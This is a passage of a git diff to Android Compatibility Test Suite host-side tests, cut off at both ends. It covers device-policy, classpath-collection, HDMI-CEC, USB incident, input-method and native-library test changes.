null) { hardwareIdentifier = ""; } - return String.format("%16s", hardwareIdentifier); + String hwIdentifier = String.format("%16s", hardwareIdentifier); + return hwIdentifier.substring(0, 16); } private static String getPaddedProfileOwnerName(String profileOwnerPackage) { diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java index de7f94e2d26..0e590c47cc4 100644 --- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java +++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java @@ -47,7 +47,6 @@ import org.junit.runner.RunWith; import java.util.List; // TODO(b/184280023): remove @RequiresDevice and @Ignores. -@RequiresDevice @RunWith(AndroidJUnit4.class) public class SecondaryLockscreenTest { @@ -139,6 +138,7 @@ public class SecondaryLockscreenTest { verifySecondaryLockscreenIsShown(); } + @RequiresDevice @Test(expected = SecurityException.class) public void testSetSecondaryLockscreen_ineligibleAdmin_throwsSecurityException() { final ComponentName badAdmin = new ComponentName("com.foo.bar", ".NonProfileOwnerReceiver"); diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java index 922745df545..a6dcb8d5b50 100644 --- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java +++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java @@ -99,7 +99,6 @@ public final class DevicePolicySafetyCheckerIntegrationTest extends BaseDeviceOw OPERATION_SET_APPLICATION_HIDDEN, OPERATION_SET_APPLICATION_RESTRICTIONS, OPERATION_SET_CAMERA_DISABLED, - OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY, OPERATION_SET_GLOBAL_PRIVATE_DNS, OPERATION_SET_KEEP_UNINSTALLED_PACKAGES, OPERATION_SET_KEYGUARD_DISABLED, @@ -125,6 +124,10 @@ public final class DevicePolicySafetyCheckerIntegrationTest extends BaseDeviceOw operations = ArrayUtils.appendInt(operations, OPERATION_SET_TRUST_AGENT_CONFIGURATION); } + if (mDevicePolicyManager.isFactoryResetProtectionPolicySupported()) { + operations = ArrayUtils.appendInt(operations, + OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY); + } return operations; } diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java index fa044aded41..ea0932138b7 100644 --- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java +++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java @@ -439,6 +439,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest { } @Test + @FlakyTest(bugId = 187862351) public void testGrantOfSensorsRelatedPermissions() throws Exception { installAppPermissionAppAsUser(); executeDeviceTestMethod(".PermissionsTest", "testSensorsRelatedPermissionsCannotBeGranted"); @@ -451,6 +452,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest { } @Test + @FlakyTest(bugId = 187862351) public void testSensorsRelatedPermissionsNotGrantedViaPolicy() throws Exception { installAppPermissionAppAsUser(); executeDeviceTestMethod(".PermissionsTest", @@ -458,6 +460,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest { } @Test + @FlakyTest(bugId = 187862351) public void testStateOfSensorsRelatedPermissionsCannotBeRead() throws Exception { installAppPermissionAppAsUser(); executeDeviceTestMethod(".PermissionsTest", diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java index 27897398a2a..d157fc0bed6 100644 --- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java +++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java @@ -167,6 +167,7 @@ public class QuietModeHostsideTest extends BaseDevicePolicyTest { private void clearLogcat() throws DeviceNotAvailableException { getDevice().executeAdbCommand("logcat", "-c"); + getDevice().executeAdbCommand("logcat", "-G", "16M"); } private void verifyBroadcastSent(String actionName, boolean needPermissions) diff --git a/hostsidetests/edi/AndroidTest.xml b/hostsidetests/edi/AndroidTest.xml index 9b9ad52d291..ae2017d7468 100644 --- a/hostsidetests/edi/AndroidTest.xml +++ b/hostsidetests/edi/AndroidTest.xml @@ -21,10 +21,6 @@ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> - <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> - <option name="cleanup-apks" value="true" /> - <option name="test-file-name" value="CtsDeviceInfoTestApp.apk" /> - </target_preparer> <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" > <option name="jar" value="CtsEdiHostTestCases.jar" /> </test> diff --git a/hostsidetests/edi/app/AndroidManifest.xml b/hostsidetests/edi/app/AndroidManifest.xml deleted file mode 100644 index 2f589dc1819..00000000000 --- a/hostsidetests/edi/app/AndroidManifest.xml +++ /dev/null @@ -1,35 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?> -<!-- - ~ Copyright (C) 2021 The Android Open Source Project - ~ - ~ Licensed under the Apache License, Version 2.0 (the "License"); - ~ you may not use this file except in compliance with the License. - ~ You may obtain a copy of the License at - ~ - ~ http://www.apache.org/licenses/LICENSE-2.0 - ~ - ~ Unless required by applicable law or agreed to in writing, software - ~ distributed under the License is distributed on an "AS IS" BASIS, - ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - ~ See the License for the specific language governing permissions and - ~ limitations under the License. - --> - -<manifest xmlns:android="http://schemas.android.com/apk/res/android" - package="android.edi.cts.app" - android:targetSandboxVersion="2"> - - <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="31"/> - - <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" /> - <uses-permission android:name="android.permission.ACCESS_SHARED_LIBRARIES" /> - - <application android:requestLegacyExternalStorage="true"> - <uses-library android:name="android.test.runner" /> - </application> - - <instrumentation - android:name="androidx.test.runner.AndroidJUnitRunner" - android:targetPackage="android.edi.cts.app" /> - -</manifest> diff --git a/hostsidetests/edi/app/src/android/edi/cts/app/ClasspathDeviceTest.java b/hostsidetests/edi/app/src/android/edi/cts/app/ClasspathDeviceTest.java deleted file mode 100644 index 5c22e4302ff..00000000000 --- a/hostsidetests/edi/app/src/android/edi/cts/app/ClasspathDeviceTest.java +++ /dev/null @@ -1,95 +0,0 @@ -/* - * Copyright (C) 2021 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.edi.cts.app; - -import static org.junit.Assume.assumeTrue; - -import android.app.Instrumentation; -import android.content.Context; -import android.content.pm.SharedLibraryInfo; -import android.util.Log; - -import androidx.test.platform.app.InstrumentationRegistry; -import androidx.test.runner.AndroidJUnit4; - -import com.android.modules.utils.build.SdkLevel; - -import com.google.common.collect.ImmutableList; - -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; - -import java.io.File; -import java.nio.file.Files; -import java.nio.file.Path; -import java.util.List; -import java.util.Locale; - -/** - * Device-side helper app for ClasspathDeviceInfo. - * - * <p>It is not technically a test as it simply collects information, but it simplifies the usage - * and communication with host-side ClasspathDeviceInfo. - */ -@RunWith(AndroidJUnit4.class) -public class ClasspathDeviceTest { - - private static final String TAG = "ClasspathDeviceTest"; - - private final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation(); - private final Context context = instrumentation.getTargetContext(); - - @Before - public void before() { - assumeTrue(SdkLevel.isAtLeastS()); - instrumentation.getUiAutomation().adoptShellPermissionIdentity(); - } - - @After - public void after() { - instrumentation.getUiAutomation().dropShellPermissionIdentity(); - } - - /** - * Collects details about all shared libraries on the device and writes them to disk. - */ - @Test - public void collectSharedLibraryPaths() throws Exception { - List<SharedLibraryInfo> sharedLibraries = - context.getPackageManager().getSharedLibraries(0); - - ImmutableList.Builder<String> content = ImmutableList.builder(); - for (SharedLibraryInfo sharedLibrary : sharedLibraries) { - if (!sharedLibrary.isNative()) { - content.add(String.format(Locale.US, "%s %d %d %s", - sharedLibrary.getName(), - sharedLibrary.getType(), - sharedLibrary.getLongVersion(), - String.join(" ", sharedLibrary.getAllCodePaths()))); - } - } - - Path detailsFilepath = new File("/sdcard/shared-libs.txt").toPath(); - ImmutableList<String> lines = content.build(); - Log.i(TAG, String.format("Writing details about %d shared libraries to %s", - lines.size(), detailsFilepath)); - Files.write(detailsFilepath, lines); - } - -} diff --git a/hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java b/hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java index 8fc1059feac..717e2e2bc0f 100644 --- a/hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java +++ b/hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java @@ -18,43 +18,44 @@ package android.edi.cts; import static android.compat.testing.Classpaths.ClasspathType.BOOTCLASSPATH; import static android.compat.testing.Classpaths.ClasspathType.SYSTEMSERVERCLASSPATH; -import static com.google.common.truth.Truth.assertThat; -import static com.google.common.truth.Truth.assertWithMessage; - import android.compat.testing.Classpaths; import android.compat.testing.Classpaths.ClasspathType; +import android.compat.testing.SharedLibraryInfo; import com.android.compatibility.common.util.DeviceInfo; import com.android.compatibility.common.util.HostInfoStore; import com.android.modules.utils.build.testing.DeviceSdkLevel; +import com.android.tradefed.device.DeviceNotAvailableException; import com.android.tradefed.device.ITestDevice; -import com.android.tradefed.log.LogUtil.CLog; +import com.android.tradefed.util.FileUtil; import com.google.common.collect.ImmutableList; import com.google.common.collect.ImmutableSet; import org.jf.dexlib2.iface.ClassDef; +import java.io.File; +import java.io.IOException; +import java.util.stream.IntStream; + /** * Collects information about Java classes present in *CLASSPATH variables and Java shared libraries * from the device. */ public class ClasspathDeviceInfo extends DeviceInfo { - private static final String HELPER_APP_PACKAGE = "android.edi.cts.app"; - private static final String HELPER_APP_CLASS = HELPER_APP_PACKAGE + ".ClasspathDeviceTest"; - private ITestDevice mDevice; - private DeviceSdkLevel deviceSdkLevel; + private DeviceSdkLevel mDeviceSdkLevel; + private final Object mStoreLock = new Object(); @Override protected void collectDeviceInfo(HostInfoStore store) throws Exception { mDevice = getDevice(); - deviceSdkLevel = new DeviceSdkLevel(mDevice); + mDeviceSdkLevel = new DeviceSdkLevel(mDevice); store.startArray("jars"); collectClasspathsJars(store); - collectSharedLibraryJars(store); + collectSharedLibraries(store); store.endArray(); } @@ -67,69 +68,119 @@ public class ClasspathDeviceInfo extends DeviceInfo { private void collectClasspathJarInfo(HostInfoStore store, ClasspathType classpath) throws Exception { ImmutableList<String> paths = Classpaths.getJarsOnClasspath(mDevice, classpath); - for (int i = 0; i < paths.size(); i++) { + IntStream.range(0, paths.size()) + .parallel() + .mapToObj(i -> new JarInfo(i, paths.get(i))) + .peek(JarInfo::pullRemoteJar) + .peek(JarInfo::parseClassDefs) + .forEach(jarInfo -> { + synchronized (mStoreLock) { + try { + store.startGroup(); + store.addResult("classpath", classpath.name()); + store.addResult("path", jarInfo.mPath); + store.addResult("index", jarInfo.mIndex); + collectClassInfo(store, jarInfo.mClassDefs); + store.endGroup(); + } catch (IOException e) { + throw new RuntimeException(e); + } finally { + FileUtil.deleteFile(jarInfo.mLocalCopy); + } + } + }); + } + + private void collectSharedLibraries(HostInfoStore store) throws Exception { + if (!mDeviceSdkLevel.isDeviceAtLeastS()) { + return; + } + Classpaths.getSharedLibraryInfos(mDevice, getBuild()) + .stream() + .parallel() + .flatMap(sharedLibraryInfo -> IntStream.range(0, sharedLibraryInfo.paths.size()) + .parallel() + .mapToObj(i -> + new JarInfo(i, sharedLibraryInfo.paths.get(i), sharedLibraryInfo)) + ) + .filter(JarInfo::doesRemoteFileExist) + .peek(JarInfo::pullRemoteJar) + .peek(JarInfo::parseClassDefs) + .forEach(jarInfo -> { + synchronized (mStoreLock) { + try { + store.startGroup(); + store.startGroup("shared_library"); + store.addResult("name", jarInfo.mSharedLibraryInfo.name); + store.addResult("type", jarInfo.mSharedLibraryInfo.type); + store.addResult("version", jarInfo.mSharedLibraryInfo.version); + store.endGroup(); // shared_library + store.addResult("path", jarInfo.mPath); + store.addResult("index", jarInfo.mIndex); + collectClassInfo(store, jarInfo.mClassDefs); + store.endGroup(); + } catch (Exception e) { + throw new RuntimeException(e); + } finally { + FileUtil.deleteFile(jarInfo.mLocalCopy); + } + } + }); + } + + + private void collectClassInfo(HostInfoStore store, ImmutableSet<ClassDef> defs) + throws IOException { + store.startArray("classes"); + for (ClassDef classDef : defs) { store.startGroup(); - store.addResult("classpath", classpath.name()); - store.addResult("path", paths.get(i)); - store.addResult("index", i); - collectClassInfo(store, paths.get(i)); + store.addResult("name", classDef.getType()); store.endGroup(); } + store.endArray(); } - private void collectSharedLibraryJars(HostInfoStore store) throws Exception { - if (!deviceSdkLevel.isDeviceAtLeastS()) { - return; + /** Helper class to represent a jar file during stream transformations. */ + private final class JarInfo { + final int mIndex; + final String mPath; + final SharedLibraryInfo mSharedLibraryInfo; + ImmutableSet<ClassDef> mClassDefs; + File mLocalCopy; + + private JarInfo(int index, String path) { + this(index, path, null); } - // Trigger helper app to collect and write info about shared libraries on the device. - assertThat(runDeviceTests(HELPER_APP_PACKAGE, HELPER_APP_CLASS)).isTrue(); + private JarInfo(int index, String path, SharedLibraryInfo sharedLibraryInfo) { + this.mIndex = index; + this.mPath = path; + this.mSharedLibraryInfo = sharedLibraryInfo; + } - String remoteFile = "/sdcard/shared-libs.txt"; - String content; - try { - content = mDevice.pullFileContents(remoteFile); - } finally { - mDevice.deleteFile(remoteFile); + private boolean doesRemoteFileExist() { + try { + return mDevice.doesFileExist(mPath); + } catch (DeviceNotAvailableException e) { + throw new RuntimeException(e); + } } - for (String line : content.split("\n")) { - String[] words = line.split(" "); - assertWithMessage( - "expected each line to be in the format: <name> <type> <version> <path>...") - .that(words.length) - .isAtLeast(4); - String libraryName = words[0]; - String libraryType = words[1]; - String libraryVersion = words[2]; - for (int i = 3; i < words.length; i++) { - String path = words[i]; - if (!mDevice.doesFileExist(path)) { - CLog.w("Shared library is not present on device " + path); - continue; - } - - store.startGroup(); - store.startGroup("shared_library"); - store.addResult("name", libraryName); - store.addResult("type", libraryType); - store.addResult("version", libraryVersion); - store.endGroup(); // shared_library - store.addResult("path", path); - store.addResult("index", i - 3); // minus <name> <type> <version> - collectClassInfo(store, path); - store.endGroup(); + private void pullRemoteJar() { + try { + mLocalCopy = mDevice.pullFile(mPath); + } catch (DeviceNotAvailableException e) { + throw new RuntimeException(e); } } - } - private void collectClassInfo(HostInfoStore store, String path) throws Exception { - store.startArray("classes"); - for (ClassDef classDef : Classpaths.getClassDefsFromJar(mDevice, path)) { - store.startGroup(); - store.addResult("name", classDef.getType()); - store.endGroup(); + private void parseClassDefs() { + try { + mClassDefs = Classpaths.getClassDefsFromJar(mLocalCopy); + } catch (IOException e) { + throw new RuntimeException(e); + } } - store.endArray(); } + } diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java index c5f5b36e077..561b57578c0 100644 --- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java +++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java @@ -99,9 +99,6 @@ public final class HdmiCecDeviceOsdNameTest extends BaseHdmiCecCtsTest { */ @Test public void cect_11_2_11_2_UnregisteredDeviceGiveOsdNameTest() throws Exception { - hdmiCecClient.sendCecMessage(LogicalAddress.PLAYBACK_1, CecOperand.GIVE_OSD_NAME); - hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.PLAYBACK_1, - CecOperand.SET_OSD_NAME); hdmiCecClient.sendCecMessage(LogicalAddress.BROADCAST, CecOperand.GIVE_OSD_NAME); hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.BROADCAST, CecOperand.SET_OSD_NAME); diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java index bb8afa8276c..1f4a27054fe 100644 --- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java +++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java @@ -18,6 +18,7 @@ package android.hdmicec.cts.playback; import static com.google.common.truth.Truth.assertThat; +import static org.junit.Assume.assumeFalse; import static org.junit.Assume.assumeTrue; import android.hdmicec.cts.BaseHdmiCecCtsTest; @@ -124,4 +125,33 @@ public final class HdmiCecSystemInformationTest extends BaseHdmiCecCtsTest { setSystemLocale(locale); } } + + /** + * ro.hdmi.set_menu_language should always be false, due to issues with misbehaving TVs. + * To be removed when better handling for <SET MENU LANGUAGE> is implemented in b/195504595. + */ + @Test + public void setMenuLanguageIsDisabled() throws Exception { + assertThat(isLanguageEditable()).isFalse(); + } + + /** + * Tests that <SET MENU LANGUAGE> from a valid source is ignored when ro.hdmi.set_menu_language + * is false. + */ + @Test + public void setMenuLanguageNotHandledWhenDisabled() throws Exception { + assumeFalse(isLanguageEditable()); + final String locale = getSystemLocale(); + final String originalLanguage = extractLanguage(locale); + final String language = originalLanguage.equals("spa") ? "eng" : "spa"; + try { + hdmiCecClient.sendCecMessage(LogicalAddress.TV, LogicalAddress.BROADCAST, + CecOperand.SET_MENU_LANGUAGE, CecMessage.convertStringToHexParams(language)); + TimeUnit.SECONDS.sleep(5); + assertThat(extractLanguage(getSystemLocale())).isEqualTo(originalLanguage); + } finally { + setSystemLocale(locale); + } + } } diff --git a/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java index ebb4191676f..3ff1bfeca2d 100644 --- a/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java +++ b/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java @@ -31,6 +31,7 @@ import android.service.usb.UsbSettingsDevicePreferenceProto; import android.service.usb.UsbSettingsManagerProto; import com.android.tradefed.device.DeviceNotAvailableException; import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.log.LogUtil.CLog; /** * Tests for the UsbService proto dump. @@ -51,7 +52,10 @@ public class UsbIncidentTest extends ProtoDumpTestCase { public void testUsbServiceDump() throws Exception { // Devices that don't support USB functionality won't dump a USB service proto. - assumeTrue("Device doesn't support USB functionality.", hasUsbFunctionality(getDevice())); + if (!hasUsbFunctionality(getDevice())) { + CLog.i("Device doesn't support USB functionality."); + return; + } final UsbServiceDumpProto dump = getDump(UsbServiceDumpProto.parser(), "dumpsys usb --proto"); diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/ComponentNameUtils.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/ComponentNameUtils.java index 85b4b1c1342..3357bd8f696 100644 --- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/ComponentNameUtils.java +++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/ComponentNameUtils.java @@ -19,7 +19,7 @@ package android.inputmethodservice.cts.common; /** * Utility class to build Android's component name. */ -final class ComponentNameUtils { +public final class ComponentNameUtils { // This is utility class, can't instantiate. private ComponentNameUtils() {} @@ -35,4 +35,14 @@ final class ComponentNameUtils { return packageName + "/" + (className.startsWith(packageName) ? className.substring(packageName.length()) : className); } + + /** + * Retrieve a name of a package from an Android {@code componentName} + * ({@code packageName/className}). + * @param componentName name of an Android component. + * @return the name of the package the component belongs. + */ + public static String retrievePackageName(String componentName) { + return componentName.substring(0, componentName.indexOf('/')); + } } diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java index 5ed387e2e42..afaa9c8096a 100644 --- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java +++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java @@ -189,6 +189,17 @@ public final class ShellCommandUtils { } /** + * Command to enable app-compat change for a package . + * + * @param compatChange name of the app-compat change. + * @param packageName name of the package to enable the change for. + * @return the command to be passed to shell command. + */ + public static String enableCompatChange(String compatChange, String packageName) { + return "am compat enable " + compatChange + " " + packageName; + } + + /** * Command to send broadcast {@code Intent}. * * @param action action of intent. diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java index 846c31f01cc..4064ff5f158 100644 --- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java +++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java @@ -26,6 +26,7 @@ import static android.inputmethodservice.cts.common.DeviceEventConstants.RECEIVE import static org.junit.Assert.assertTrue; import static org.junit.Assume.assumeTrue; +import android.inputmethodservice.cts.common.ComponentNameUtils; import android.inputmethodservice.cts.common.EditTextAppConstants; import android.inputmethodservice.cts.common.EventProviderConstants.EventTableConstants; import android.inputmethodservice.cts.common.Ime1Constants; @@ -36,6 +37,7 @@ import android.inputmethodservice.cts.common.test.TestInfo; import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AppModeInstant; +import com.android.compatibility.common.util.FeatureUtil; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; @@ -56,6 +58,8 @@ public class InputMethodServiceLifecycleTest extends BaseHostJUnit4Test { private static final long WAIT_TIMEOUT = TimeUnit.SECONDS.toMillis(1); private static final long PACKAGE_OP_TIMEOUT = TimeUnit.SECONDS.toMillis(7); private static final long POLLING_INTERVAL = 100; + private static final String COMPAT_CHANGE_DO_NOT_DOWNSCALE_TO_1080P_ON_TV = + "DO_NOT_DOWNSCALE_TO_1080P_ON_TV"; /** * {@code true} if {@link #tearDown()} needs to be fully executed. @@ -126,6 +130,25 @@ public class InputMethodServiceLifecycleTest extends BaseHostJUnit4Test { private void installImePackageSync(String apkFileName, String imeId) throws Exception { installPackage(apkFileName, "-r"); waitUntilImesAreAvailable(imeId); + + // Compatibility scaling may affect how watermarks are rendered in such a way so that we + // won't be able to detect them on screenshots. + disableAppCompatScalingForPackageIfNeeded(ComponentNameUtils.retrievePackageName(imeId)); + } + + private void disableAppCompatScalingForPackageIfNeeded(String packageName) throws Exception { + if (FeatureUtil.isTV(getDevice())) { + // On 4K TV devices packages that target API levels below S run in a compat mode where + // they render UI to a 1080p surface which then gets scaled up x2 (to the device's + // "native" 4K resolution). + // When a test IME package runs in such compatibility mode, the watermarks it renders + // would be scaled up x2 as well, thus we won't be able detect them on (4K) screenshots + // we take during tests. + // Note, that this command will have no effect if the device is not a 4K TV, or if the + // package's "targetSdk" level is S or above. + shell(ShellCommandUtils.enableCompatChange( + COMPAT_CHANGE_DO_NOT_DOWNSCALE_TO_1080P_ON_TV, packageName)); + } } private void installPossibleInstantPackage( diff --git a/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java b/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java index 90fa2652086..164c37fc0e8 100644 --- a/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java +++ b/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java @@ -20,12 +20,12 @@ import static org.junit.Assert.assertTrue; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertThat; +import com.android.compatibility.common.util.CddTest; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; import com.android.tradefed.targetprep.TargetSetupError; import com.android.tradefed.device.DeviceNotAvailableException; import com.android.tradefed.device.ITestDevice; - import com.android.tradefed.device.IFileEntry; import com.android.tradefed.util.CommandResult; import com.android.tradefed.util.RunUtil; @@ -194,6 +194,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test { * Tests if the native shared library list reported by the package manager is the same as * the public.libraries*.txt files in the partitions. */ + @CddTest(requirement="3.6/C-1-1,C-1-2") @Test public void testPublicLibrariesAreAllRegistered() throws DeviceNotAvailableException { Set<String> libraryNamesFromTxt = @@ -359,6 +360,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test { // Tests for when apps depend on non-existing lib /////////////////////////////////////////////////////////////////////////// + @CddTest(requirement="3.6/C-1-1,C-1-2") @Test public void testOldAppDependsOnNonExistingLib() throws Exception { String[] requiredLibs = {mNonExistingLib}; @@ -371,6 +373,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test { runInstalledTestApp(); } + @CddTest(requirement="3.6/C-1-1,C-1-2") @Test public void testNewAppDependsOnNonExistingLib() throws Exception { String[] requiredLibs = {mNonExistingLib}; @@ -384,6 +387,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test { // install failed, so can't run the on-device test } + @CddTest(requirement="3.6/C-1-1,C-1-2") @Test public void testNewAppDependsOnNonExistingLib_withCompatEnabled_installFail() throws Exception { @@ -398,6 +402,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test { requiredLibs, optionalLibs, availableLibs, unavailableLibs))); } + @CddTest(requirement="3.6/C-1-1,C-1-2") @Test public void testNewAppDependsOnNonExistingLib_withCompatDisabled_installSucceed() throws Exception { @@ -412,6 +417,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test { requiredLibs, optionalLibs, availableLibs, unavailableLibs))); } + @CddTest(requirement="3.6/C-1-1,C-1-2") @Test public void testOldAppOptionallyDependsOnNonExistingLib() throws Exception { String[] requiredLibs = {}; @@ -424,6 +430,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test { runInstalledTestApp(); } + @CddTest(requirement="3.6/C-1-1,C-1-2") @Test public void testNewAppOptionallyDependsOnNonExistingLib() throws Exception { String[] requiredLibs = {}; @@ -440,6 +447,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test { // Tests for when apps depend on private lib /////////////////////////////////////////////////////////////////////////// + @CddTest(requirement="3.6/C-1-1,C-1-2") @Test public void testOldAppDependsOnPrivateLib() throws Exception { String[] requiredLibs = {mPrivateLib}; @@ -452,6 +460,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test { runInstalledTestApp(); } + @CddTest(requirement="3.6/C-1-1,C-1-2") @Test public void testNewAppDependsOnPrivateLib() throws Exception { String[] requiredLibs = {mPrivateLib}; @@ -465,6 +474,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test { // install failed, so can't run the on-device test } + @CddTest(requirement="3.6/C-1-1,C-1-2") @Test public void testOldAppOptionallyDependsOnPrivateLib() throws Exception { String[] requiredLibs = {}; @@ -477,6 +487,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test { runInstalledTestApp(); } + @CddTest(requirement="3.6/C-1-1,C-1-2") @Test public void testNewAppOptionallyDependsOnPrivateLib() throws Exception { String[] requiredLibs = {}; @@ -493,6 +504,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test { // Tests for when apps depend on all public libraries /////////////////////////////////////////////////////////////////////////// + @CddTest(requirement="3.6/C-1-1,C-1-2") @Test public void testOldAppDependsOnAllPublicLibraries() throws Exception { String[] requiredLibs = add(mPublicLibraries); @@ -505,6 +517,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test { runInstalledTestApp(); } + @CddTest(requirement="3.6/C-1-1,C-1-2") @Test public void testNewAppDependsOnAllPublicLibraries() throws Exception { String[] requiredLibs = add(mPublicLibraries); @@ -521,6 +534,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test { // Tests for when apps depend on some public libraries /////////////////////////////////////////////////////////////////////////// + @CddTest(requirement="3.6/C-1-1,C-1-2") @Test public void testOldAppDependsOnSomePublicLibraries() throws Exception { // select the first half of the public lib @@ -534,6 +548,7 @@ public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test { runInstalledTestApp(); } + @CddTest(requirement="3.6/C-1-1,C-1-2") @Test public void testNewAppDependsOnSomePublicLibraries() throws Exception { String[] requiredLibs = 